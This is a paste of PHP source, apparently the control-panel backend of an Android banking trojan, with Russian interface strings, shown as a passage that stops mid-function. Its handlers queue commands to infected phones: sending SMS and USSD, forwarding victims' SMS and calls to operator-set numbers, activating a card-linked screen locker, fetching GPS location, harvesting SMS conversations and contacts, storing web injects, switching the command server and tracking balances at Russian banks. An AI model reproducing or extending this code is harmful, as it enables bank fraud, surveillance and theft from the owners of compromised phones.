API tools faq
paste
Guest User

Untitled

a guest
Mar 5th, 2016
556
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 98.91 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. header('Content-type: application/json; charset=utf-8');
  3.  
  4. error_reporting(00);
  5. set_time_limit(00);
  6. session_name("SSE");
  7. session_start();
  8. include "config.php";
  9. @$var0 = mysql_connect(constant('HOST'), constant('USER_DB'), constant('PASS_DB'));
  10. @$var1 = mysql_select_db(constant('DB'));
  11. if ($var1 && $var0) {
  12.     mysql_query("SET NAMES 'utf8'");
  13.     mysql_query("SET CHARACTER SET 'utf8'");
  14.     mysql_query("SET SESSION collation_connection = 'utf8_general_ci'");
  15. } else {
  16.     echo "<div style="text - align:center;width:100 %;margin - top:300px;">Ошибка подключения к базе данных</div>";}
  17. include "functions.php";
  18. include_once("xmpp.php");
  19. header("Content-type: application/json; charset=utf-8");
  20. date_default_timezone_set("Europe/Moscow");
  21. $var2 = date("Y-m-d H:i:s");
  22. $var3 = $var4["mode"];
  23. $var5 = "ok";
  24. $var6 = "";
  25. $var7 = constant('V');
  26. $var8 = constant('D');
  27. preg_match("/(\d+)-(\d+)/", $var9);
  28. $var10 = date("z");
  29. if ($var10 < $var11[01] || $var10 > $var11[02] || ($var8 != $var12["HTTP_HOST"] && $var8 != $var12["SERVER_NAME"])) {
  30.     unset($var13["admn"]);
  31.     unset($var13["pass"]);
  32. }
  33. if ((!isset($var13["demo"]) && !isset($var13["admn"])) || (isset($var13["demo"]) && $var13["pass"] != $var14) || (isset($var13["admn"]) && $var13["pass"] != $var15)) {
  34.     unset($var13["admn"]);
  35.     unset($var13["demo"]);
  36.     unset($var13["pass"]);
  37. }
  38. switch ($var3) {
  39.     case "recheckBot":
  40.         if (!isset($var13["admn"])) {
  41.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  42.             break;
  43.         }
  44.         $var16 = intval($var17["uid"]);
  45.         $var18 = mysql_query("SELECT * FROM `start_msg`;");
  46.         if (mysql_num_rows($var18) < 01) {
  47.             $var5 = "Стартовые смс отсутствуют.";
  48.             break;
  49.         }
  50.         $var19 = mysql_query("UPDATE `users` SET `sber_balance` = '',`qiwi_balance` = '',`alfa_balance` = '',`tinkoff_balance` = '' WHERE `id` = '" . $var16 . "';");
  51.         $var20 = mysql_query("UPDATE `users` SET `category`=1 WHERE `category`=2 AND `id` = '" . $var16 . "';");
  52.         while ($var21 = mysql_fetch_assoc($var18)) {
  53.             if (strlen($var21["number"]) > 00) {
  54.                 $var22 = savesmsdb($var16, $var21["text"], $var21["number"], 00, 00);
  55.                 $var23 = mysql_query("INSERT INTO `quest` SET
  56.         `uid`=" . $var16 . ",
  57.         `msg_id`=" . $var22 . ",
  58.         `mode`='" . constant('COMMAND_SEND_SMS') . "',
  59.         `sms_text`='" . $var21["text"] . "',
  60.         `sms_number`='" . $var21["number"] . "'
  61.         ;");
  62.             }
  63.         }
  64.         $var24 = mysql_query("SELECT * FROM `users` WHERE `id`=" . $var16 . " LIMIT 1;");
  65.         $var25 = mysql_fetch_assoc($var24);
  66.         $var26 = strpos(strtolower($var25["operator"]), "mts");
  67.         if ($var26 !== false) {
  68.             $var23 = mysql_query("INSERT INTO `quest` SET
  69.     `uid`=" . $var16 . ",
  70.     `msg_id`=0,
  71.     `mode`='" . constant('COMMAND_SEND_SMS') . "',
  72.     `sms_text`='11',
  73.     `sms_number`='111'
  74.     ;");
  75.         }
  76.         $var27 = strpos(strtolower($var25["operator"]), "megafon");
  77.         if ($var27 !== false) {
  78.             $var23 = mysql_query("INSERT INTO `quest` SET
  79.     `uid`=" . $var16 . ",
  80.     `msg_id`=0,
  81.     `mode`='" . constant('COMMAND_SEND_SMS') . "',
  82.     `sms_text`='balance',
  83.     `sms_number`='000100'
  84.     ;");
  85.         }
  86.         break;
  87.     case "parseSms":
  88.         if (!isset($var13["admn"])) {
  89.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  90.             break;
  91.         }
  92.         $var16 = intval($var17["bid"]);
  93.         $var19 = mysql_query("UPDATE `users` SET `sber_balance` = '',`qiwi_balance` = '',`alfa_balance` = '',`tinkoff_balance` = '' WHERE `id` = '" . $var16 . "';");
  94.         $var18 = mysql_query("SELECT * FROM `messages` WHERE `uid`=" . $var16 . " AND `incoming`=1 ORDER by `id`;");
  95.         while ($var21 = mysql_fetch_assoc($var18)) {
  96.             autoreply($var16, $var21["number_sms"], $var21["text_sms"], true);
  97.         }
  98.         break;
  99.     case "clearBase":
  100.         if (!isset($var13["admn"])) {
  101.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  102.             break;
  103.         }
  104.         @mysql_query("TRUNCATE `cards`;");
  105.         @mysql_query("TRUNCATE `users`;");
  106.         @mysql_query("TRUNCATE `quest`;");
  107.         @mysql_query("TRUNCATE `messages`;");
  108.         @mysql_query("TRUNCATE `prefix`;");
  109.         @mysql_query("TRUNCATE `conversations`;");
  110.         @mysql_query("TRUNCATE `contacts`;");
  111.         @mysql_query("TRUNCATE `apps`;");
  112.         @mysql_query("TRUNCATE `browhist`;");
  113.         @mysql_query("TRUNCATE `calls`;");
  114.         break;
  115.     case "addStartSms":
  116.         if (!isset($var13["admn"])) {
  117.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  118.             break;
  119.         }
  120.         $var28 = textedit($var17["number"]);
  121.         $var29 = textedit($var17["text"]);
  122.         $var30 = preg_match("/^\+?\d+$/", $var28, $var31);
  123.         if (strlen($var28) < 01 || $var30 < 01 && $var28 != "contacts") {
  124.             $var5 = "Неправильно введен номер.";
  125.             break;
  126.         }
  127.         @mysql_query("INSERT INTO `start_msg` SET `number`='" . $var28 . "', `text`='" . $var29 . "';");
  128.         break;
  129.     case "delStartSms":
  130.         if (!isset($var13["admn"])) {
  131.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  132.             break;
  133.         }
  134.         $var32 = intval($var17["id"]);
  135.         @mysql_query("DELETE FROM `start_msg` WHERE `id`=" . $var32 . ";");
  136.         break;
  137.     case "addStartInject":
  138.         if (!isset($var13["admn"])) {
  139.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  140.             break;
  141.         }
  142.         $var33 = textedit($var17["name"]);
  143.         $var34 = mysql_real_escape_string($var17["data"]);
  144.         if (strlen($var33) < 05 || strlen($var34) < 0144) {
  145.             $var5 = "Неправильно введены данные.";
  146.             break;
  147.         }
  148.         @mysql_query("INSERT INTO `injects` SET `pwd`='0', `name`='" . $var33 . "', `data`='" . $var34 . "', `status`=0;");
  149.         break;
  150.     case "delStartInject":
  151.         if (!isset($var13["admn"])) {
  152.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  153.             break;
  154.         }
  155.         $var32 = intval($var17["id"]);
  156.         @mysql_query("DELETE FROM `injects` WHERE `id`=" . $var32 . ";");
  157.         break;
  158.     case "genStatLink":
  159.         if (!isset($var13["admn"])) {
  160.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  161.             break;
  162.         }
  163.         $var32 = intval($var17["id"]);
  164.         $var35 = generatecode(017);
  165.         @mysql_query("UPDATE `prefix` SET `sid`='" . $var35 . "' WHERE `id`='" . $var32 . "' LIMIT 1;");
  166.         break;
  167.     case "saveBotSettings":
  168.         if (!isset($var13["admn"])) {
  169.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  170.             break;
  171.         }
  172.         $var36 = intval($var17["bid"]);
  173.         $var28 = textedit($var17["number"]);
  174.         $var37 = textedit($var17["notes"]);
  175.         $var38 = intval($var17["interval"]);
  176.         $var39 = textedit($var17["server"]);
  177.         $var39 = rtrim($var39, "/");
  178.         $var40 = textedit($var17["hook"]);
  179.         $var41 = textedit($var17["hookcalls"]);
  180.         $var42 = "Ошибка!<br /><br />";
  181.         $var43 = false;
  182.         $var24 = mysql_query("SELECT * FROM `users` WHERE `id`=" . $var36 . " LIMIT 1;");
  183.         $var25 = mysql_fetch_assoc($var24);
  184.         $var44 = @mysql_query("UPDATE `users` SET `notes`='" . $var37 . "' WHERE `id`=" . $var36 . " LIMIT 1;");
  185.         $var45 = @mysql_query("UPDATE `users` SET `phone_number`='" . $var28 . "' WHERE `id`=" . $var36 . " LIMIT 1;");
  186.         if (!empty($var39)) {
  187.             if (preg_match("/^[-a-z0-9]+\.[a-z\/]+$/", strtolower($var39))) {
  188.                 $var29 = "Изменен сервер на " . $var39;
  189.                 $var46 = savesmsdb($var36, $var29, "", 03, 00);
  190.                 $var47 = mysql_query("INSERT INTO `quest` SET `mode`='" . constant('COMMAND_SET_SERVER') . "', `msg_id`=" . $var46 . ", `uid`=" . $var36 . ", `server`='" . $var39 . "';");
  191.             } else {
  192.                 $var42 .= "Новый сервер: домен указан неверно.<br />";
  193.                 $var43 = true;
  194.             }
  195.         }
  196.         if ($var38 > 00) {
  197.             if ($var38 < 012) {
  198.                 $var38 = 012;
  199.                 $var42 .= "Минимальный интервал 10 секунд.<br />";
  200.                 $var43 = true;
  201.             } else if ($var38 > 0170) {
  202.                 $var38 = 0170;
  203.                 $var42 .= "Максимальный интервал 120< секунд.<br />";
  204.                 $var43 = true;
  205.             }
  206.             if (!$var43) {
  207.                 $var29 = "Изменен интервал на " . $var38 . " сек.";
  208.                 $var46 = savesmsdb($var36, $var29, "", 03, 00);
  209.                 $var47 = mysql_query("INSERT INTO `quest` SET `mode`='" . constant('COMMAND_SET_INTERVAL') . "', `msg_id`=" . $var46 . ", `uid`=" . $var36 . ", `interval`=" . $var38 . ";");
  210.             }
  211.         }
  212.         if ($var40 != null && $var40 != "") {
  213.             $var48 = preg_match("/^\+?\d{10,11}$/", $var40, $var31);
  214.             if ($var48 > 00) {
  215.                 if ($var40 != $var25["hooksms"]) {
  216.                     $var29 = "Включена переадресация СМС на номер " . $var40;
  217.                     $var46 = savesmsdb($var36, $var29, "", 03, 00);
  218.                     $var47 = mysql_query("INSERT INTO `quest` SET `mode`='" . constant('COMMAND_SET_HOOKSMS') . "', `msg_id`=" . $var46 . ", `uid`=" . $var36 . ", `sms_number`='" . $var40 . "';");
  219.                     @mysql_query("UPDATE `users` SET `hooksms`='" . $var40 . "' WHERE `id`=" . $var36 . " LIMIT 1;");
  220.                 }
  221.             } else {
  222.                 $var42 .= "Переадресация СМС: номер указан неверно.<br />";
  223.                 $var43 = true;
  224.             }
  225.         } elseif ($var40 != $var25["hooksms"]) {
  226.             $var29 = "Выключена переадресация СМС";
  227.             $var46 = savesmsdb($var36, $var29, "", 03, 00);
  228.             $var47 = mysql_query("INSERT INTO `quest` SET `mode`='" . constant('COMMAND_SET_HOOKSMS') . "', `msg_id`=" . $var46 . ", `uid`=" . $var36 . ", `sms_number`='" . $var40 . "';");
  229.             @mysql_query("UPDATE `users` SET `hooksms`='" . $var40 . "' WHERE `id`=" . $var36 . " LIMIT 1;");
  230.         }
  231.         if ($var41 != null && $var41 != "") {
  232.             $var48 = preg_match("/^\+?\d{10,11}$/", $var41, $var31);
  233.             if ($var48 > 00) {
  234.                 if ($var41 != $var25["hookcalls"]) {
  235.                     $var29 = "Включена переадресация звонков на номер " . $var41;
  236.                     $var46 = savesmsdb($var36, $var29, "", 03, 00);
  237.                     $var47 = mysql_query("INSERT INTO `quest` SET `mode`='" . constant('COMMAND_SET_HOOKCALLS') . "', `msg_id`=" . $var46 . ", `uid`=" . $var36 . ", `sms_number`='" . $var41 . "';");
  238.                     @mysql_query("UPDATE `users` SET `hookcalls`='" . $var41 . "' WHERE `id`=" . $var36 . " LIMIT 1;");
  239.                 }
  240.             } else {
  241.                 $var42 .= "Переадресация звонков: номер указан неверно.<br />";
  242.                 $var43 = true;
  243.             }
  244.         } elseif ($var41 != $var25["hookcalls"]) {
  245.             $var29 = "Выключена переадресация звонков";
  246.             $var46 = savesmsdb($var36, $var29, "", 03, 00);
  247.             $var47 = mysql_query("INSERT INTO `quest` SET `mode`='" . constant('COMMAND_SET_HOOKCALLS') . "', `msg_id`=" . $var46 . ", `uid`=" . $var36 . ", `sms_number`='" . $var41 . "';");
  248.             @mysql_query("UPDATE `users` SET `hookcalls`='" . $var41 . "' WHERE `id`=" . $var36 . " LIMIT 1;");
  249.         }
  250.         if ($var43) $var5 = $var42;
  251.         break;
  252.     case "clearCards":
  253.         if (!isset($var13["admn"])) {
  254.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  255.             break;
  256.         }
  257.         @mysql_query("TRUNCATE `cards`;");
  258.         break;
  259.     case "clearInjects":
  260.         if (!isset($var13["admn"])) {
  261.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  262.             break;
  263.         }
  264.         @mysql_query("DELETE FROM `injects` WHERE LENGTH(`pwd`)>1;");
  265.         break;
  266.     case "clearLog":
  267.         if (!isset($var13["admn"])) {
  268.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  269.             break;
  270.         }
  271.         @mysql_query("TRUNCATE `err`;");
  272.         break;
  273.     case "clearTasks":
  274.         $var49 = textedit($var17["task"]);
  275.         if (!isset($var13["admn"])) {
  276.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  277.             break;
  278.         }
  279.         switch ($var49) {
  280.             case "all":
  281.                 $var50 = @mysql_query("TRUNCATE `quest`;");
  282.                 break;
  283.             case constant('COMMAND_SEND_SMS'):
  284.                 $var51 = mysql_query("SELECT * FROM `quest`;");
  285.                 while ($var52 = mysql_fetch_assoc($var51)) {
  286.                     if ($var52["mode"] == constant('COMMAND_SEND_SMS')) {
  287.                         $var18 = mysql_query("DELETE FROM `quest` WHERE `id` = " . $var52["id"] . ";");
  288.                         $var18 = mysql_query("DELETE FROM `messages` WHERE `id` = " . $var52["msg_id"] . ";");
  289.                     }
  290.                 }
  291.                 break;
  292.             case constant('COMMAND_SEND_USSD'):
  293.                 $var51 = mysql_query("SELECT * FROM `quest`;");
  294.                 while ($var52 = mysql_fetch_assoc($var51)) {
  295.                     if ($var52["mode"] == constant('COMMAND_SEND_USSD')) {
  296.                         $var18 = mysql_query("DELETE FROM `quest` WHERE `id` = " . $var52["id"] . ";");
  297.                         $var18 = mysql_query("DELETE FROM `messages` WHERE `id` = " . $var52["msg_id"] . ";");
  298.                     }
  299.                 }
  300.                 break;
  301.             case constant('COMMAND_MSG_CONTACTS'):
  302.                 $var51 = mysql_query("SELECT * FROM `quest`;");
  303.                 while ($var52 = mysql_fetch_assoc($var51)) {
  304.                     if ($var52["mode"] == constant('COMMAND_MSG_CONTACTS')) {
  305.                         $var18 = mysql_query("DELETE FROM `quest` WHERE `id` = " . $var52["id"] . ";");
  306.                         $var18 = mysql_query("DELETE FROM `messages` WHERE `id` = " . $var52["msg_id"] . ";");
  307.                     }
  308.                 }
  309.                 break;
  310.             case constant('COMMAND_SET_SERVER'):
  311.                 $var51 = mysql_query("SELECT * FROM `quest`;");
  312.                 while ($var52 = mysql_fetch_assoc($var51)) {
  313.                     if ($var52["mode"] == constant('COMMAND_SET_SERVER')) {
  314.                         $var18 = mysql_query("DELETE FROM `quest` WHERE `id` = " . $var52["id"] . ";");
  315.                         $var18 = mysql_query("DELETE FROM `messages` WHERE `id` = " . $var52["msg_id"] . ";");
  316.                     }
  317.                 }
  318.                 break;
  319.             case constant('COMMAND_SET_INTERVAL'):
  320.                 $var51 = mysql_query("SELECT * FROM `quest`;");
  321.                 while ($var52 = mysql_fetch_assoc($var51)) {
  322.                     if ($var52["mode"] == constant('COMMAND_SET_INTERVAL')) {
  323.                         $var18 = mysql_query("DELETE FROM `quest` WHERE `id` = " . $var52["id"] . ";");
  324.                         $var18 = mysql_query("DELETE FROM `messages` WHERE `id` = " . $var52["msg_id"] . ";");
  325.                     }
  326.                 }
  327.                 break;
  328.             case constant('COMMAND_LOCK'):
  329.                 $var51 = mysql_query("SELECT * FROM `quest`;");
  330.                 while ($var52 = mysql_fetch_assoc($var51)) {
  331.                     if ($var52["mode"] == constant('COMMAND_LOCK')) {
  332.                         $var18 = mysql_query("DELETE FROM `quest` WHERE `id` = " . $var52["id"] . ";");
  333.                         $var18 = mysql_query("DELETE FROM `messages` WHERE `id` = " . $var52["msg_id"] . ";");
  334.                         $var18 = mysql_query("UPDATE `users` SET `is_lock`=0, `cc_last`='', `date_lock`='' WHERE `id` = " . $var52["uid"] . ";");
  335.                     }
  336.                 }
  337.                 break;
  338.             case constant('COMMAND_UNLOCK'):
  339.                 $var51 = mysql_query("SELECT * FROM `quest`;");
  340.                 while ($var52 = mysql_fetch_assoc($var51)) {
  341.                     if ($var52["mode"] == constant('COMMAND_UNLOCK')) {
  342.                         $var18 = mysql_query("DELETE FROM `quest` WHERE `id` = " . $var52["id"] . ";");
  343.                         $var18 = mysql_query("DELETE FROM `messages` WHERE `id` = " . $var52["msg_id"] . ";");
  344.                     }
  345.                 }
  346.                 break;
  347.             case constant('COMMAND_SELFDELETE'):
  348.                 $var51 = mysql_query("SELECT * FROM `quest`;");
  349.                 while ($var52 = mysql_fetch_assoc($var51)) {
  350.                     if ($var52["mode"] == constant('COMMAND_SELFDELETE')) {
  351.                         $var18 = mysql_query("DELETE FROM `quest` WHERE `id` = " . $var52["id"] . ";");
  352.                         $var18 = mysql_query("DELETE FROM `messages` WHERE `id` = " . $var52["msg_id"] . ";");
  353.                         $var18 = mysql_query("UPDATE `users` SET `ban`=0 WHERE `id` = " . $var52["uid"] . ";");
  354.                     }
  355.                 }
  356.                 break;
  357.         }
  358.         break;
  359.     case "saveJabberInfo":
  360.         if (!isset($var13["admn"])) {
  361.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  362.             break;
  363.         }
  364.         $var53 = textedit($var17["jid"]);
  365.         $var54 = textedit($var17["pass"]);
  366.         $var55 = textedit($var17["jid_to"]);
  367.         if ((filter_var($var53, 274) === false && strlen($var53) > 00) || (filter_var($var55, 274) === false && strlen($var55) > 00)) {
  368.             $var5 = "Проверьте правильность введенного жаббера.";
  369.             break;
  370.         }
  371.         $var50 = @mysql_query("UPDATE `vars` SET `jabber_from`='" . $var53 . "', `jabber_pass`='" . $var54 . "', `jabber_to`='" . $var55 . "';");
  372.         break;
  373.     case "testJabber":
  374.         if (!isset($var13["admn"])) {
  375.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  376.             break;
  377.         }
  378.         $var53 = textedit($var17["jid"]);
  379.         $var54 = textedit($var17["pass"]);
  380.         $var55 = textedit($var17["jid_to"]);
  381.         if ((filter_var($var53, 274) === false && strlen($var53) > 00) || (filter_var($var55, 274) === false && strlen($var55) > 00)) {
  382.             $var5 = "Проверьте правильность введенного жаббера.";
  383.             break;
  384.         }
  385.         $var56["login"] = $var53;
  386.         $var56["pass"] = $var54;
  387.         $var57 = new xmpp($var56);
  388.         $var57->connect();
  389.         $var57->sendmessage($var55, "Test");
  390.         $var5 = "Сообщение отправлено.";
  391.         break;
  392.     case "changeo":
  393.         $var58 = $var17["val"];
  394.         if ($var58 == 01) $var13["showonline"] = true; else unset($var13["showonline"]);
  395.         break;
  396.     case "changep":
  397.         $var58 = $var17["val"];
  398.         if ($var58 == 01) $var13["showphone"] = true; else unset($var13["showphone"]);
  399.         break;
  400.     case "changes":
  401.         $var58 = $var17["val"];
  402.         if ($var58 == 01) $var13["showsimb"] = true; else unset($var13["showsimb"]);
  403.         break;
  404.     case "changej":
  405.         $var58 = $var17["val"];
  406.         if ($var58 == 01) $var13["showinj"] = true; else unset($var13["showinj"]);
  407.         break;
  408.     case "changeNotif":
  409.         if (!isset($var13["admn"])) {
  410.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  411.             break;
  412.         }
  413.         $var36 = intval($var17["bid"]);
  414.         $var59 = intval($var17["no"]);
  415.         $var60 = intval($var17["nl"]);
  416.         $var61 = intval($var17["ss"]);
  417.         if ($var61 == 00 || $var61 == 01) $var50 = @mysql_query("UPDATE `users` SET `notifOnline`=" . $var59 . ", `notifLock`=" . $var60 . ", `notifSS`=" . $var61 . " WHERE `id`=" . $var36 . " LIMIT 1;"); else $var50 = @mysql_query("UPDATE `users` SET `notifOnline`=" . $var59 . ", `notifLock`=" . $var60 . " WHERE `id`=" . $var36 . " LIMIT 1;");
  418.         break;
  419.     case "lockBot":
  420.         if (!isset($var13["admn"])) {
  421.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  422.             break;
  423.         }
  424.         $var36 = intval($var17["bid"]);
  425.         $var62 = intval($var17["filter"]);
  426.         if (strlen($var62) > 01 && strlen($var62) < 04) $var62 = "";
  427.         if (is_numeric($var62)) $var46 = save_event($var36, "Локер активирован (карта *" . $var62 . ")", 03); else $var46 = save_event($var36, "Локер активирован", 03);
  428.         $var47 = mysql_query("INSERT INTO `quest` SET
  429.      `uid`=" . $var36 . ",
  430.      `msg_id`=" . $var46 . ",
  431.      `sms_number`='" . $var62 . "',
  432.      `mode`='" . constant('COMMAND_LOCK') . "';");
  433.         if (is_numeric($var62) || $var62 == null) @mysql_query("UPDATE `users` SET `is_lock`=1, `cc_last`='" . $var62 . "', `date_lock`='" . $var2 . "' WHERE `id`=" . $var36 . " LIMIT 1;");
  434.         $var63 = mysql_query("SELECT * FROM `vars`;");
  435.         $var64 = mysql_fetch_assoc($var63);
  436.         if (strlen($var64["jabber_to"]) > 04 && strlen($var64["jabber_from"]) > 04) @mysql_query("UPDATE `users` SET `notifLock`=1 WHERE `id`=" . $var36 . " LIMIT 1;");
  437.         break;
  438.     case "unlockBot":
  439.         if (!isset($var13["admn"])) {
  440.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  441.             break;
  442.         }
  443.         $var36 = intval($var17["bid"]);
  444.         $var46 = save_event($var36, "Локер выключен", 03);
  445.         $var47 = mysql_query("INSERT INTO `quest` SET
  446.      `uid`=" . $var36 . ",
  447.      `msg_id`=" . $var46 . ",
  448.      `mode`='" . constant('COMMAND_UNLOCK') . "';");
  449.         $var50 = mysql_query("UPDATE `users` SET `is_lock`=0, `cc_last`='', `date_lock`='' WHERE `id`=" . $var36 . " LIMIT 1;");
  450.         break;
  451.     case "updGps":
  452.         if (!isset($var13["admn"])) {
  453.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  454.             break;
  455.         }
  456.         $var36 = intval($var17["bid"]);
  457.         $var65 = "pending;" . $var2;
  458.         $var24 = mysql_query("SELECT * FROM `users` WHERE `id` = " . $var36 . " LIMIT 1;");
  459.         $var25 = mysql_fetch_assoc($var24);
  460.         $var66 = explode(";", $var25["gps"]);
  461.         if ($var66[00] == "pending") {
  462.             $var67 = strtotime($var2);
  463.             $var68 = strtotime($var66[01]);
  464.             $var69 = round(abs($var67 - $var68) / 074, 02);
  465.             if ($var69 < 05) {
  466.                 $var5 = "Запрос нельзя повторить ранее, чем через 5 минут после предыдущего (при холодном старте GPS).";
  467.                 break;
  468.             }
  469.         }
  470.         @mysql_query("UPDATE `users` SET `gps`='" . $var65 . "' WHERE `id`=" . $var36 . ";");
  471.         $var46 = savesmsdb($var36, "Получение координат GPS", "", 03, 00, 00);
  472.         $var47 = mysql_query("INSERT INTO `quest` SET
  473.      `uid`=" . $var36 . ",
  474.      `msg_id`=" . $var46 . ",
  475.      `mode`='" . constant('COMMAND_GET_GPS') . "';");
  476.         break;
  477.     case "chgCountry":
  478.         $var33 = $var17["name"];
  479.         if ($var13["s_country"] == $var33) unset($var13["s_country"]); else $var13["s_country"] = $var33;
  480.         break;
  481.     case "chgCategory":
  482.         $var33 = $var17["name"];
  483.         $var13["s_category"] = (int)$var33;
  484.         break;
  485.     case "delEr":
  486.         if (!isset($var13["admn"])) {
  487.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  488.             break;
  489.         }
  490.         $var70 = textedit($var17["pwd"]);
  491.         $var50 = @mysql_query("DELETE FROM `err` WHERE `uid`='" . $var70 . "';");
  492.         break;
  493.     case "blacklistSms":
  494.         if (!isset($var13["admn"])) {
  495.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  496.             break;
  497.         }
  498.         $var29 = textedit($var17["text"]);
  499.         $var29 = rtrim($var29, ";");
  500.         $var50 = mysql_query("UPDATE `vars` SET `bl`='" . $var29 . "' LIMIT 1;");
  501.         break;
  502.     case "del_set_category":
  503.         if (!isset($var13["admn"])) {
  504.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  505.             break;
  506.         }
  507.         $var32 = intval($var17["id"]);
  508.         $var71 = @mysql_query("UPDATE `users` SET `category`=1 WHERE `category`=" . $var32 . ";");
  509.         $var72 = @mysql_query("DELETE FROM `category` WHERE `id`=" . $var32 . " LIMIT 1;");
  510.         break;
  511.     case "create_category":
  512.         if (!isset($var13["admn"])) {
  513.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  514.             break;
  515.         }
  516.         $var33 = textedit($var17["name"]);
  517.         if (strlen($var33) < 01 || strlen($var33) > 036) {
  518.             $var5 = "Введите название категории.";
  519.             break;
  520.         }
  521.         $var73 = mysql_query("INSERT INTO `category` SET
  522.         `name`='" . $var33 . "';");
  523.         break;
  524.     case "readAllNewSms":
  525.         if (!isset($var13["admn"])) {
  526.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  527.             break;
  528.         }
  529.         $var50 = @mysql_query("UPDATE `messages` SET `is_view`=1 WHERE `is_view`=0;");
  530.         break;
  531.     case "readSmsNew":
  532.         $var36 = intval($var17["bid"]);
  533.         if (!isset($var13["admn"])) {
  534.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  535.             break;
  536.         }
  537.         $var50 = @mysql_query("UPDATE `messages` SET `is_view`=1 WHERE `is_view`=0 AND `uid`=" . $var36 . ";");
  538.         break;
  539.     case "cleanInj":
  540.         $var32 = intval($var17["id"]);
  541.         if (!isset($var13["admn"])) {
  542.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  543.             break;
  544.         }
  545.         $var74 = savesmsdb($var32, "Сброс информации о выполненных инжектах", "", 03, 00, 00);
  546.         $var47 = mysql_query("INSERT INTO `quest` SET
  547.     `uid`=" . $var32 . ",
  548.     `msg_id`=" . $var74 . ",
  549.     `mode`='" . constant('COMMAND_SET_CLEANINJ') . "';");
  550.         break;
  551.     case "read_this_sms":
  552.         if (!isset($var13["admn"])) {
  553.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  554.             break;
  555.         }
  556.         $var32 = intval($var17["id"]);
  557.         $var50 = @mysql_query("UPDATE `messages` SET `is_view`=1 WHERE `id`=" . $var32 . ";");
  558.         break;
  559.     case "updSmsList":
  560.         if (!isset($var13["admn"])) {
  561.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  562.             break;
  563.         }
  564.         $var36 = intval($var17["bid"]);
  565.         @mysql_query("DELETE FROM `conversations` WHERE `uid`=" . $var36 . ";");
  566.         @mysql_query("INSERT INTO `conversations` SET `uid`=" . $var36 . ", `thread_id`=0, `message`='pending', `number`='0', type=0;");
  567.         $var74 = savesmsdb($var36, "Получение списка смс диалогов", "", 03, 00, 00);
  568.         $var47 = mysql_query("INSERT INTO `quest` SET
  569.      `uid`=" . $var36 . ",
  570.      `msg_id`=" . $var74 . ",
  571.      `mode`='" . constant('COMMAND_UP_SMS_LIST') . "',
  572.      `sms_number`='" . $var28 . "';");
  573.         break;
  574.     case "showSmsList":
  575.         $var75 = intval($var17["bid"]);
  576.         $var76 = "<h1>Диалоги<br /></h1>";
  577.         $var76 .= "<div class=\"messages-wrapper\" style=\"height:525px;margin-top:-10px;margin-right:-10px;overflow-wrap:break-word;word-wrap:break-word;overflow-y:auto;overflow-x:hidden;\">";
  578.         $var77 = mysql_query("SELECT * FROM ( SELECT * FROM conversations WHERE uid = " . $var75 . " ORDER BY thread_id, date DESC ) as inv GROUP BY thread_id ORDER BY date DESC;");
  579.         while ($var78 = mysql_fetch_assoc($var77)) {
  580.             if ($var78["thread_id"] == 00 && $var78["type"] == 00 && $var78["message"] == "pending") {
  581.                 $var5 = "<i>ожидается ответ...</i>";
  582.                 break;
  583.             }
  584.             $var33 = $var78["number"];
  585.             $var79 = mysql_result(mysql_query("SELECT number FROM conversations WHERE uid = " . $var75 . " AND thread_id = " . $var78["thread_id"] . " LIMIT 1"), 00);
  586.             $var79 = preg_replace("/[^0-9]/", "", $var79);
  587.             $var80 = mysql_query("SELECT * FROM `contacts` WHERE `uid` = " . $var75 . ";");
  588.             while ($var81 = mysql_fetch_assoc($var80)) {
  589.                 $var82 = preg_replace("/[^0-9]/", "", $var81["number"]);
  590.                 if ($var79 == $var82) {
  591.                     $var33 = $var81["name"];
  592.                     break;
  593.                 }
  594.             }
  595.             $var83 = mysql_query("SELECT * FROM `conversations` WHERE `uid`=" . $var75 . " AND `thread_id`=" . $var78["thread_id"] . " ORDER BY `date` DESC LIMIT 1;");
  596.             $var84 = mysql_fetch_assoc($var83);
  597.             $var33 = htmlspecialchars($var33);
  598.             $var33 = str_replace(array("
  599. ", "
  600. ", "
  601. "), "", $var33);
  602.             $var85 = htmlspecialchars($var84["message"]);
  603.             $var85 = str_replace(array("
  604. ", "
  605. ", "
  606. "), "<br />", $var85);
  607.             $var76 .= "<div class=\"conversations\" onClick=\"showSmsMessages(" . $var75 . ", " . $var78["thread_id"] . "); return false;\"><div style=\"text-align:center;\"><b>" . $var33 . "</b></div><br /><span style=\"font-size:10px;\"><i style=\"\">" . $var85 . "</i></span></div>";
  608.         }
  609.         $var76 .= "</div>";
  610.         $var5 = $var76;
  611.         break;
  612.     case "showSmsMessages":
  613.         $var75 = intval($var17["bid"]);
  614.         $var86 = intval($var17["thread"]);
